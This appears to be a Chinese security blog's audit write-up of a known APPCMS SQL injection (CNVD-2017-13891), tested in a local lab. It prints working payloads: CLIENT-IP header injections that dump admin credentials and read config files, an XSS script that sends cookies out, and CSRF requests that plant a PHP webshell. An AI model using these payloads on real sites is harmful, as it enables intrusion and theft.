安全研究

APPCMS 代码审计:SQL 注入、XSS、CSRF 与 GetShell

#Web安全#代码审计#SQL注入
深色档案风格封面,铜橙色断裂链条与破碎数据界面层,象征从 CLIENT-IP 注入到存储型 XSS、CSRF 落地 shell 的链式攻击

背景

由若水师傅提供的一个素材,想要复现 CNVD 上披露的一个 APPCMS 的漏洞(CNVD-2017-13891)。由 CNVD 上的描述可以知道存在漏洞的地方是 comment.php 这个文件,然后就没有详细的漏洞信息了,所以就需要分析相应的源码文件,自己找出存在漏洞的点。借这个素材捡起下代码审计的各种感觉,期待和师傅们各种交流讨论。

官方站点:http://www.appcms[.]cc/ 漏洞详情:http://www.cnvd[.]org[.]cn/flaw/show/CNVD-2017-13891

审计过程

本篇是个事后总结,是在审计过程中逐步思考利用,然后达到预期的目的。先是进行了代码审计,清楚了造成漏洞的位置,开始先获得了用户名是 admini、密文密码 77e2edcc9b40441200e31dc57dbb8829、安全码 123456;但是并无法得到后台地址。经过思考分析,便想到利用二次漏洞进行 XSS 打到后台地址和 cookie,再深入些便是和 CSRF 结合得到 shell。

漏洞定位

打开 comment.php 文件,通读其中的代码,并跟踪数据的传递过程。CNVD 上说是一个 SQL 注入漏洞,所以可以先关注 comment.php 中涉及 SQL 操作的代码。

comment.php 第 80-86 行,目测 query_updatesingle_insert 存在 SQL 操作,进行 SQL 拼接的是 TB_PREFIX$fields['parent_id']$fields

// comment.php 第 80-86 行
if ($fields['parent_id'] != 0) {
    $ress = $dbm->query_update("UPDATE " . TB_PREFIX . "comment SET son = son + 1 WHERE comment_id = '{$fields['parent_id']}'");
}
$res = $dbm->single_insert(TB_PREFIX . 'comment', $fields);

其中 TB_PREFIXcore/config.conn.php 进行了 define('TB_PREFIX', 'appcms_'); 定义,所以不用管。$fields['parent_id'] 在第 73 行进行了数据类型判断 if(!is_numeric($fields['parent_id'])) die();,所以也不能利用。

漏洞位置代码

$fields 是由自定义方法 m__add() 创建的一个数组,再将 $page 数组中的关键信息赋给 $fields,而 $page 拥有所有 POST 和 GET 的数据:

// comment.php 第 29-30 行
$page['get']  = $_GET;  // get 参数的 m 和 ajax 是默认占用的
$page['post'] = $_POST; // 一个用来执行动作函数,一个用来判断是否启用模板还是直接输出 JSON

m__add() 自定义方法中可控的数据 $fields['id']$fields['type']$fields['parent_id'] 必须是数字类型,所以无法利用。剩下 $fields['uname']$fields['content']$fields['ip'],后面经过测试和数据跟踪的过程,$fields['ip'] 是一个可控制并可注入的点。

// comment.php 第 57-86 行(节选)
function m__add() {
    global $page, $dbm, $c;
    $fields = array();
    foreach($page['post'] as $key => $val) {
        $page['post'][$key] = htmlspecialchars(helper::escape($val));
    }
    // ... 验证码、字段校验略 ...
    $fields['date_add'] = time();
    $fields['ip']       = helper::getip();   // 可控点
    // ...
    $res = $dbm->single_insert(TB_PREFIX . 'comment', $fields);
}

之所以得到如上的结论,第一个原因是在跟进 single_insert 方法的时候,在该方法中将 $fields 数组中的值使用 foreach 进行组合后传入 $sql,没有经过任何处理:

// core/database.class.php 第 102-120 行
public function single_insert($table_name, $fields) {
    if (!is_array($fields) || count($fields) == 0) return array(/* ... */);
    $sql_field = "";
    $sql_value = "";
    // 遍历字段和值
    foreach($fields as $key => $value) {
        $sql_field .= ",$key";
        $sql_value .= ",'$value'";   // 直接拼接,未转义
    }
    $sql_field = substr($sql_field, 1);
    $sql_value = substr($sql_value, 1);
    $sql = "insert into $table_name ($sql_field) values ($sql_value)";
    $result = $this->query_insert($sql);
    return $result;
}

single_insert 方法

第二个原因,跟进 $fields['ip'] = helper::getip();getip() 方法,发现获取 IP 的方式中有一项是 HTTP_CLIENT_IP,这种方式可以通过客户端进行 IP 伪造:

// core/help.class.php 第 47-57 行
public static function getip() {
    $onlineip = '';
    if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
        $onlineip = getenv('HTTP_CLIENT_IP');
    } elseif (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
        $onlineip = getenv('REMOTE_ADDR');
    } elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
        $onlineip = $_SERVER['REMOTE_ADDR'];
    }
    return $onlineip;
}

getip 方法

因此 $fields['ip'] 的值满足“用户可控 + 未安全处理 + 直接拼接”三个条件,造成 insert 注入。为了方便查看和构造 payload,我在 core/database.class.phpsingle_insert 方法第 117 行加入 echo $sql; 方便查看 SQL 语句。又由于这个 CMS 存在失效的图片验证码,所以可以轻松地使用 Burp Suite 进行注入获取数据。

构造 payload 获取用户名密码

接下来构造 payload。这个位置是 insert 注入,但并不会回显 SQL 错误,所以无法使用报错注入。在师傅们的指导提醒下发现可以直接利用 insert 把查询到的结果回显到前台——由于这是个评论功能,展示位置是 contentunamedate_addip 这 4 个字段。可以直接用如下语句把查询结果插入到 contentuname,然后回显到前台的“用户名”和“回复内容”位置:

CLIENT-IP: 10.10.10.1'),('1','0','0',(select upass from appcms_admin_list where uid='1'),(select uname from appcms_admin_list where uid='1'),'1510908798',1)#

构造 payload 获取安全码

此时就获得了站点的用户名和密码。接下来要获取安全码——这里使用 MySQL 的 load_file() 来读取 core/config.php 文件,安全码等敏感信息就在该文件里。

可以使用“去掉 payload 后面的 # 导致报错”等方式得到网站的绝对路径,因为在 core/init.php 中默认开启了错误提示,所以可以利用错误信息得到绝对路径。

得到绝对路径便可以使用 load_file() 去读取 core/config.php 中的安全码了。但是 content 列使用 varchar(500),所以直接使用 load_file() 是无法完整获得安全码的,因此使用 substr 进行截断,从 480 开始截断 400 个字符长度(此处没有精准计算,但已将安全码写入 content 列):

CLIENT-IP: 10.10.10.1'),('1','0','0',(SUBSTR(LOAD_FILE('D:\\soft\\phpStudy\\WWW\\APPCMS\\core\\config.php'), 480, 400)),'thinking','1510908798',123456)#

SQL 注入回显凭据

此时已经得到用户名 admini、密文密码 77e2edcc9b40441200e31dc57dbb8829、安全码 123456;但 APPCMS 安装完毕后会强制更改后台地址,所以即使拿到这 3 个敏感信息也难以登录后进行其他操作。

从注入到 Shell

以上通过代码审计已经分析了 CNVD 上该版本 APPCMS 漏洞产生的整个过程。接下来是对这个漏洞进行进阶研究:这种 insert 注入会把用户可控的数据直接写到数据库中,极大概率还会造成二次漏洞。本节利用 insert 注入直接进行存储型 XSS 打后台,并使用 CSRF 在“添加模块”处写马。

这里我使用蓝莲花团队的 XSS 平台。payload 构造上,我对内容进行的修改添加了两个请求:一个是创建文件的请求,一个是为文件添加内容的请求。

// 获取站点的关键信息
var website = "http://127.0.0.1/xsser";
(function () {
    (new Image()).src = website + '/?keepsession=1&location=' +
        escape((function () { try { return document.location.href } catch (e) { return '' } })()) +
        '&toplocation=' + escape((function () { try { return top.location.href } catch (e) { return '' } })()) +
        '&cookie=' + escape((function () { try { return document.cookie } catch (e) { return '' } })()) +
        '&opener=' + escape((function () { try { return (window.opener && window.opener.location.href) ? window.opener.location.href : '' } catch (e) { return '' } })());
})();

function csrf_shell() {
    // 创建文件名为 evil.php 的文件
    var xmlhttp1 = new XMLHttpRequest();
    xmlhttp1.open("POST", "./template.php?m=create_file", true);
    xmlhttp1.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xmlhttp1.send("filename=evil.php");

    // 在 evil.php 文件中写入一句话木马
    var xmlhttp2 = new XMLHttpRequest();
    xmlhttp2.open("POST", "./template.php?m=save_edit", true);
    xmlhttp2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    // content = <?php assert($_POST['cmd']);?>
    xmlhttp2.send("filename=evil.php&content=%3C%3Fphp+assert%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E");
}
csrf_shell();

XSS+CSRF payload

测试是否利用成功

配置好后进行如下请求,此时后台会生成一条评论记录。模拟管理员登录后台,使用 Burp 进行跟踪,发现创建了 evil.php 文件,并为文件写入一句话,证明成功执行了刚才配置好的脚本,同时将站点的登录信息等也发给了目标系统。

此时便收到打回来的 cookie 信息了,对应的 shell 地址便是 http://127.0.0.1/APPCMS/templates/default/evil.php

shell 上传结果

写在最后

本篇获取后台的方法我就想到了 XSS。本想使用报错的方式,但发现前台并无数据和后台进行交互,所以没想到怎么在前台引发报错、报出后台地址,于是就采用 SQL 注入 → XSS → CSRF 直接 getshell 的路线。如果师傅们有更好的思路,期待讨论交流。感谢若水师傅提供的素材,感谢各位师傅的指导。

回过头看,这条链的本质是“用户可控输入未参数化”这一处一致性缝隙被反复放大:先以 CLIENT-IP 注入读到凭据,再借评论入库的存储型 XSS 触达管理员,最后用管理员会话执行 CSRF 落地 webshell。三步环环相扣,但起点只有一行没有转义的 getip()

注:APPCMS 项目已长期未维护,官方域名可能失效。本文仅作历史审计复盘与技术学习用途,请勿用于未授权测试。